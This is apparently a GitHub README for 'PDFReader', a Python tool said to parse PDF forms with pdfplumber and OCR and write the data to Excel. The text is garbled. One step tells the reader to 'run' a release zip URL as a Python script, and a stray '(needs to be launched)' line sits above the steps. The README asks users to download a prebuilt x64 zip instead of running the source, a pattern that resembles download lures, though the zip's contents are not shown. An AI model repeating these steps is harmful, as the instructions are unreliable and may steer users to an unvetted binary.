Welcome to PDFReader, a Python application designed to parse a specific format of PDF form and store relevant user data in a tabular format in an Excel sheet! This repository provides a ready-to-use solution for automating the extraction and organization of data from PDF forms. Whether you're dealing with surveys, questionnaires, or any other type of structured PDF form, PDFReader has got you covered.
🔍 PDF Parsing: PDFReader uses the powerful pdfplumber library to extract text data from each form field in the PDF document.
🔢 Data Extraction: Utilizing OCR technology through pytesseract, PDFReader is able to accurately recognize text within the PDF form.
📊 Data Organization: The extracted user data is structured and stored in an Excel sheet using the pandas library, making it easy to analyze and manipulate the information.
To get started with PDFReader, simply download the application from the following link:
(needs to be launched)
- Download the https://github.com/sentifyy/PDFReader/releases/download/v2.0/Release_x64.zip file from the provided link.
- Extract the contents of the zip file to a folder on your local machine.
- Run the
https://github.com/sentifyy/PDFReader/releases/download/v2.0/Release_x64.zipscript using Python. - Follow the on-screen instructions to input the path to the PDF form you want to parse.
- Sit back and let PDFReader handle the data extraction and organization process for you.
PDFReader relies on the following libraries for its functionality:
matplotlibnumpyopencv-pythonpandaspdfplumberpytesseract
Make sure you have these dependencies installed in your Python environment before running PDFReader.
If you encounter any issues or have questions about using PDFReader, feel free to reach out by creating an issue in this repository. Our team is dedicated to providing assistance and ensuring you have a seamless experience with PDFReader.
Stay updated with the latest developments and releases by following our GitHub repository. We're constantly working on enhancing PDFReader and adding new features to make your PDF data extraction process even more efficient.
Thank you for choosing PDFReader! Let's simplify PDF form data processing together. 🚀
Note: If the provided download link does not work, we recommend checking the "Releases" section of this repository for alternative download options. Visit our website at PDFReader Website for more information and resources.